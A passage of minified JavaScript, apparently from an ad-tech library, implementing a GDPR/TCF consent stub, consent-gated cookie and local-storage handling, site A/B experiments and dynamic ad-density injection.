H={AdDensity:`addensity`,AdLayout:`adlayout`,FooterCloseButton:`footerclose`,Interstitial:`interstitial`,RemoveVideoTitleWrapper:`removevideotitlewrapper`,StickyOutstream:`stickyoutstream`,StickyOutstreamOnStickyPlayer:`sospp`,VideoAdvancePlaylistRelatedPlayer:`videoadvanceplaylistrp`,MobileStickyPlayerPosition:`mspp`};var Ze=class{constructor(){s(this,`name`,void 0),s(this,`disable`,void 0),s(this,`gdprPurposes`,void 0)}};let U=`__adthriveTcfApiStub`,W=`__tcfapiLocator`,G=[],K=!1,q,J=e=>typeof e==`function`&&!!e[U],Qe=(e,t=2)=>{let n=G.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(G.splice(n,1),!0)},$e=()=>{let e=()=>{if(document.querySelector(`iframe[name="${W}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=W,document.body.appendChild(t)};e()},Y=()=>{let e=window.__tcfapi;return typeof e==`function`&&!J(e)?e:void 0},X=()=>{let e=Y();if(e)for(;G.length>0;){let t=G.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},et=()=>{if(K)return;if(K=!0,Y()){X();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!J(t)&&X()}})},tt=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return G;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:q,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(q=r,typeof n==`function`&&n(`set`,!0));return;default:G.push([e,t,n,r])}};return Object.defineProperty(e,U,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},nt=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},rt=()=>
993{if(et(),Y())return!1;let e=!1;return J(window.__tcfapi)||(window.__tcfapi=tt(),nt(),e=!0),$e(),window.__tcfapiQueue=G,e},it=(e,t=2,n,r)=>{if(e===void 0)return;let i=Y();i?i(e,t,n,r):(G.push([e,t,n,r]),rt())},at=(e,t=2,n,r)=>{it(e,t,n,r)},ot=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,Qe(a,2),n(Error(`TCF API request timed out`)))},e)),at(`getTCData`,2,a)}),st=[`mcmpfreqrec`],Z=new class extends Ze{constructor(...e){super(...e),s(this,`name`,`BrowserStorage`),s(this,`disable`,!1),s(this,`gdprPurposes`,[1]),s(this,`_sessionStorageHandlerQueue`,[]),s(this,`_localStorageHandlerQueue`,[]),s(this,`_cookieHandlerQueue`,[]),s(this,`_gdpr`,void 0),s(this,`_shouldQueue`,!1),s(this,`_storageConsentGranted`,void 0),s(this,`_storageConsentUpdateInFlight`,0),s(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await ot();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}
993deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
993; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!st.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},ct=e=>{let t=5381,n=e.length;for(;n;)t=t*33^e.charCodeAt(--n);return t>>>0},lt=e=>ct(e).toString(16),ut=e=>{if(e===null)return null;let t=e.map(({choice:e})=>e);return lt(JSON.stringify(t))},dt=(e,t)=>{var n;return((n=e.find(({choice:e})=>e===t))==null?void 0:n.weight)??null},ft=e=>e!=null&&!(typeof e==`number`&&isNaN(e)),pt=(e,t)=>{if(Z.isInGdprQueueMode())return t();let n=ut(e._choices),r=((e._expConfigABGroup?e._expConfigABGroup:e.abgroup)||e.key||``).toLowerCase(),i=n?`${r}_${n}`:r,a=e.localStoragePrefix?`${e.localStoragePrefix}-${i}`:i,o=Z.readInternalLocalStorage(`adthrive_branch`);(o&&o.enabled)===!1&&Z.deleteLocalStorage(a);let s=t(),c=dt(e._choices,s),[l,u]=Z.getOrSetABGroupLocalStorageValue(a,s,c,{value:24,unit:`hours`});return e._stickyResult=l,e._stickyWeight=u,l},mt=(e=window.location.search)=>{let t=+(e.indexOf(`?`)===0);return e.slice(t).split(`&`).reduce((e,t)=>{let[n,r]=t.split(`=`);return e.set(n,r),e},new Map)},ht=e=>{let t={},n=mt().get(e);if(n)try{let r=decodeURIComponent(n).replace(/\+/g,``);t=JSON.parse(r),F.event(`ExperimentOverridesUtil`,`getExperimentOverrides`,e,t)}catch(e){e instanceof URIError}return t},gt=(e,t)=>typeof e==typeof t,_t=(e,t)=>{let n=e.adDensityEnabled,r=e.adDensityLayout.pageOverrides.find(e=>!!document.querySelector(e.pageSelector)&&(e[t].onePerViewport||typeof e[t].adDensity==`number`));return n?!r:!0},vt=e=>{var t;let n=(t=e.videoPlayers)==null||(t=t.partners)==null||(t=t.stickyOutstream)==null?void 0:t.blockedPageSelectors;return n?!document.querySelector(n):!0},yt=e=>{let t=e.adOptions.interstitialBlockedPageSelectors;return t?!document.querySelector(t):!0},bt=(e,t,n)=>{switch(t){case H.AdDensity:return _t(e,n);case H.StickyOutstream:return vt(e);case H.Interstitial:return yt(e);default:return!0}},xt=e=>e.length===1,St=e=>{let t=e.reduce((e,t)=>t.weight?t.weight+e:e,0);return e.length>0&&e.every(e=>{let t=e.value,n=e.weight;return!!(t!=null&&!(typeof t==`number`&&isNaN(t))&&n)})&&t===100},Ct=(e,t)=>{if(!e)return!1;let n=!!e.enabled,r=e.dateStart==null||Date.now()>=e.dateStart,i=e.dateEnd==null||Date.now()<=e.dateEnd,a=e.selector===null||e.selector!==``&&!!document.querySelector(e.selector),o=e.platform===`mobile`&&t===`mobile`,s=e.platform===`desktop`&&t===`desktop`,c=e.platform===null||e.platform===`all`||o||s,l=e.experimentType===`bernoulliTrial`?xt(e.variants):St(e.variants);return l||F.error(`SiteTest`,`validateSiteExperiment`,`experiment presented invalid choices for key:`,e.key,e.variants),n&&r&&i&&a&&c&&l};var wt=class{constructor(e){var t;s(this,`siteExperiments`,[]),s(this,`_clsOptions`,void 0),s(this,`_device`,void 0),this._clsOptions=e,this._device=D()?`mobile`:`desktop`,this.siteExperiments=((t=this._clsOptions.siteAds.siteExperiments)==null?void 0:t.filter(e=>{let t=e.key,n=Ct(e,this._device),r=bt(this._clsOptions.siteAds,t,this._device);return n&&r}))??[]}getSiteExperimentByKey(e){let t=this.siteExperiments.filter(t=>t.key.toLowerCase()===e.toLowerCase())[0],n=ht(`at_site_features`),r=gt(t!=null&&t.variants[1]?t==null?void 0:t.variants[1].value:t==null?void 0:t.variants[0].value,n[e]);return t&&n[e]&&r&&(t.variants=[{displayName:`test`,value:n[e],weight:100,id:0}]),t}},Tt=class{constructor(){s(this,`experimentConfig`,void 0)}get enabled(){return this.experimentConfig!==void 0}_isValidResult(e,t=()=>!0){return t()&&ft(e)}},Et=class extends Tt{constructor(...e){super(...e),s(this,`_resultValidator`,()=>!0)}_isValidResult(e){return super._isValidResult(e,()=>this._resultValidator(e)||e===`control`)}run(){if(!this.enabled)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;if(!this._mappedChoices||this._mappedChoices.length===0)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment variants found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)}}
993,Dt=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,``),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`string`),s(this,`key`,H.AdLayout),s(this,`abgroup`,H.AdLayout),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to empty class name.`),``;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to empty class name.`),``)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:t}))}},Ot=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,`control`),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`number`),s(this,`key`,H.AdDensity),s(this,`abgroup`,H.AdDensity),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:typeof t==`number`?(t||0)/100:`control`}))}},kt=class{constructor(){s(this,`_clsOptions`,new c),s(this,`shouldUseCoreExperimentsConfig`,!1)}setExperimentKey(e=!1){this._clsOptions.setExperiment(this.abgroup,this.result,e)}},At=class extends kt{constructor(){super(),s(this,`key`,`SMRA`),s(this,`abgroup`,`smra1`),s(this,`_result`,!1),D()&&(this._result=this.run(),this.setExperimentKey())}run(){return new u(.05).get()}get result(){return this._result}};let Q=`250px`;var jt=class{constructor(t,n){this._clsOptions=t,this._adInjectionMap=n,s(this,`_recipeCount`,0),s(this,`_mainContentHeight`,0),s(this,`_mainContentDiv`,null),s(this,`_totalAvailableElements`,[]),s(this,`_densityElementCoords`,void 0),s(this,`_minDivHeight`,250),s(this,`_densityDevice`,I.Desktop),s(this,`_pubLog`,{onePerViewport:!1,targetDensity:0,targetDensityUnits:0,combinedMax:0}),s(this,`_smallerIncrementAttempts`,0),s(this,`_absoluteMinimumSpacingByDevice`,250),s(this,`_usedAbsoluteMinimum`,!1),s(this,`_infPageEndOffset`,0),s(this,`locationMaxLazySequence`,new Map([[e.Recipe,5]])),s(this,`locationToMinHeight`,{Below_Post:Q,Content:Q,Recipe:Q,Sidebar:Q}),s(this,`_device`,void 0),s(this,`_smallMobileRecipeAdsExperimentEnabled`,void 0),s(this,`_clsTargetAdDensitySiteExperiment`,void 0);let{tablet:r,desktop:i}=this._clsOptions.siteAds.breakpoints;this._device=Ie(r,i),this._smallMobileRecipeAdsExperimentEnabled=new At().result,this._isSmallMobileRecipeAdLocation(e.Recipe)&&(this.locationToMinHeight.Recipe=`100px`),this._clsTargetAdDensitySiteExperiment=this._clsOptions.siteAds.siteExperiments?new Ot(this._clsOptions):null}start(){try{var e;De(this._device);let n=new Dt(this._clsOptions);if(n.enabled){let e=n.result,t=e.startsWith(`.`)?e.substring(1):e;if(Ye(t))try{document.body.classList.add(t)}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,`Uncaught CSS Class error: ${e}`)}else F.error(`ClsDynamicAdsInjector`,`start`,`Invalid class name: ${t}`)}let r=Ce(this._device,this._clsOptions.siteAds).filter(e=>this._locationEnabled(e)).filter(e=>Te(e,this._device)).filter(e=>Ee(e)),i=this.inject(r),a=this._clsOptions.siteAds.adOptions.stickyContainerConfig;if(!(a==null||(e=a.content)==null)&&e.enabled&&!B(a.blockedSelectors||[],this._logInvalidBlockedSelector.bind(this))){var t;qe(a==null||(t=a.content)==null?void 0:t.minHeight)}
993i.forEach(e=>this._clsOptions.setInjectedSlots(e))}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,e)}}inject(t,n=document){this._densityElementCoords=void 0,this._densityDevice=this._device===`desktop`?I.Desktop:I.Mobile,this._overrideDefaultAdDensitySettingsWithSiteExperiment();let r=this._clsOptions.siteAds,i=k(r.adDensityEnabled,!0),a=r.adDensityLayout&&i,o=t.filter(t=>a?t.location!==e.Content:t),s=t.filter(t=>a?t.location===e.Content:null),c=s.length?this._preserveDensityMeasurements(s,n):!1;return this._capturePreSlotInsertionPageAreaMeasurement(),[...o.length?this._injectNonDensitySlots(o,n):[],...s.length?this._injectDensitySlots(s,n,c):[]]}_injectNonDensitySlots(t,n=document){var r;let i=[],a=[],o=!1;if(t.some(t=>t.location===e.Recipe&&t.sticky)&&!B(((r=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:r.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))){var s,c;let t=this._clsOptions.siteAds.adOptions.stickyContainerConfig;Je(this._isSmallMobileRecipeAdLocation(e.Recipe)?100:this._device===`phone`?t==null||(s=t.recipeMobile)==null?void 0:s.minHeight:t==null||(c=t.recipeDesktop)==null?void 0:c.minHeight),o=!0}for(let e of t)this._insertNonDensityAds(e,i,a,n);return o||a.forEach(({location:e,element:t})=>{t.style.minHeight=this.locationToMinHeight[e]}),i}_isSmallMobileRecipeAdLocation(e){return this._smallMobileRecipeAdsExperimentEnabled&&A(e,this._device)}_injectDensitySlots(e,t=document,n=!1){try{n||(this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords())}catch{return[]}let{onePerViewport:r,targetAll:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=this._getDensitySettings(e,t);return this._absoluteMinimumSpacingByDevice=r?window.innerHeight:this._absoluteMinimumSpacingByDevice,s?(this._adInjectionMap.filterUsed(),this._findElementsForAds(s,r,i,o,a,t),this._insertAds()):[]}_preserveDensityMeasurements(e,t=document){try{return this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords(),!0}catch{return!1}}_overrideDefaultAdDensitySettingsWithSiteExperiment(){var e;if((e=this._clsTargetAdDensitySiteExperiment)!=null&&e.enabled){let e=this._clsTargetAdDensitySiteExperiment.result;typeof e==`number`&&(this._clsOptions.siteAds.adDensityEnabled=!0,this._clsOptions.siteAds.adDensityLayout[this._densityDevice].adDensity=e)}}_getDensitySettings(e,t=document){let{onePerViewport:n,targetAll:r,targetDensity:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=Ne({settings:this._clsOptions.siteAds.adDensityLayout,densityDevice:this._densityDevice,dynamicAds:e,target:t,totalAvailableElements:this._totalAvailableElements.length,mainContentHeight:this._mainContentHeight,minDivHeight:this._minDivHeight,recipeCount:this._recipeCount,selectorContext:this._getDynamicAdSelectorContext.bind(this),onInvalidSelector:({selector:e,selectorType:t,source:n,context:r,error:i})=>{}});return this._pubLog={onePerViewport:n,targetDensity:i,targetDensityUnits:a,combinedMax:o},{onePerViewport:n,targetAll:r,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}}_elementLargerThanMainContent(e){return e.offsetHeight>=this._mainContentHeight&&this._totalAvailableElements.length>1}_elementDisplayNone(e){let t=window.getComputedStyle(e,null).display;return t&&t===`none`||e.style.display===`none`}_isBelowMaxes(e,t){return this._adInjectionMap.map.length<e&&this._adInjectionMap.map.length<t}_findElementsForAds(e,t,n,r,i,a=document){this._clsOptions.targetDensityLog={onePerViewport:t,combinedMax:r,targetDensityUnits:i,targetDensityPercentage:this._pubLog.targetDensity,mainContentHeight:this._mainContentHeight,recipeCount:this._recipeCount,numberOfEls:this._totalAvailableElements.length};let o=t=>{for(let{dynamicAd:o,element:s}of this._totalAvailableElements)if(this._logDensityInfo(s,o.elementSelector,t),!(!n&&this._elementLargerThanMainContent(s)||this._elementDisplayNone(s)))if(this._isBelowMaxes(r,i)){if(this._checkElementSpacing({dynamicAd:o,element:s,insertEvery:t,targetAll:n,target:a}),this._hasReachedQuota(e))return}else break;this._hasReachedQuota(e)||!this._usedAbsoluteMinimum&&this._smallerIncrementAttempts<5&&(++this._smallerIncrementAttempts,o(this._getSmallerIncrement(t)))};o(this._getInsertEvery(e,t,i))}_hasReachedQuota(e){return this._adInjectionMap.map.length>=e}_getSmallerIncrement(e){let t=Fe(e,this._absoluteMinimumSpacingByDevice);return this._usedAbsoluteMinimum=t.usedAbsoluteMinimum,t.insertEvery}
993_insertNonDensityAds(t,n,r,i=document){let{spacing:a,nextAfter:o}=Me(t.spacing,window.innerHeight),s=0,c=this._repeatDynamicAds(t),l=this.getElements(t.elementSelector,i,t),u=this._shouldUseRegularSlotHeightForSpacing(t),d=a>0&&u?this._getElementSpacingBottoms(l):new Map,f=0;t.skip;for(let p=t.skip;p<l.length&&!(s+1>c.length);p+=t.every){let m=l[p];if(a>0){let e=u?(d.get(m)??R(m).bottom)+f:R(m).bottom;if(e<=o)continue;o=e+a}let h=c[s],g=`${h.location}_${h.sequence}`;n.some(e=>e.name===g)&&(s+=1);let _=this.getDynamicElementId(h),v=L(t),y=Oe(t),b=t.location===e.Sidebar&&t.sticky?Ke(h.sequence):``,ee=[t.location===e.Recipe&&t.sticky?`adthrive-recipe-sticky-container`:``,v,y,...t.classNames];if(Xe(m,t.position,t.location)&&t.location===e.Recipe)continue;let x=this.addAd(m,_,t.position,ee,b);if(x){let a=we(h,x);if(a.length){let o={clsDynamicAd:t,dynamicAd:h,element:x,sizes:a,name:g,infinite:i!==document};n.push(o),r.push({location:h.location,element:x}),t.location===e.Recipe&&++this._recipeCount,s+=1,u&&(f+=this._getRegularSlotSpacingHeight(h.location))}m=b&&x.parentElement||x}}}_shouldUseRegularSlotHeightForSpacing(t){var n;return t.location===e.Recipe&&t.sticky&&!B(((n=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:n.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))}_getElementSpacingBottoms(e){return Array.from(e).reduce((e,t)=>(e.set(t,R(t).bottom),e),new Map)}_getRegularSlotSpacingHeight(e){let t=parseInt(this.locationToMinHeight[e],10);return Number.isFinite(t)?t:this._minDivHeight}_insertAds(){let e=[],t=0;return this._adInjectionMap.filterUsed(),this._adInjectionMap.map.forEach(({el:n,dynamicAd:r,target:i},a)=>{let o=Number(r.sequence)+a,s=r.max,c=r.lazy&&o>s;r.sequence=o,r.lazy=c;let l=this._addContentAd(n,r,i);l&&(r.used=!0,e.push(l),++t)}),e}_getInsertEvery(e,t,n){let r=Pe({totalAvailableElements:this._totalAvailableElements.length,targetDensityUnits:n,numberOfUnits:e,mainContentHeight:this._mainContentHeight,absoluteMinimumSpacing:this._absoluteMinimumSpacingByDevice,viewportHeight:window.innerHeight,onePerViewport:t});return this._usedAbsoluteMinimum=r.usedAbsoluteMinimum,r.insertEvery}_logDensityInfo(e,t,n){let{onePerViewport:r,targetDensity:i,targetDensityUnits:a,combinedMax:o}=this._pubLog;this._totalAvailableElements.length}_checkElementSpacing({dynamicAd:e,element:t,insertEvery:n,targetAll:r,target:i}){(this._isFirstAdInjected()||this._hasProperSpacing(t,e,r,n))&&this._markSpotForContentAd(t,{...e},i)}_isFirstAdInjected(){return!this._adInjectionMap.map.length}_markSpotForContentAd(e,t,n=document){let r=t.position===`beforebegin`||t.position===`afterbegin`;this._adInjectionMap.addSorted(e,this._getElementCoords(e,r),t,n)}_hasProperSpacing(t,n,r,i){let a=n.position===`beforebegin`||n.position===`afterbegin`,o=n.position===`beforeend`||n.position===`afterbegin`,s=r||this._isElementFarEnoughFromOtherAdElements(t,i,a),c=o||this._isElementNotInRow(t,a),l=t.id.indexOf(`AdThrive_${e.Below_Post}`)===-1;return s&&c&&l}_isElementFarEnoughFromOtherAdElements(e,t,n){let 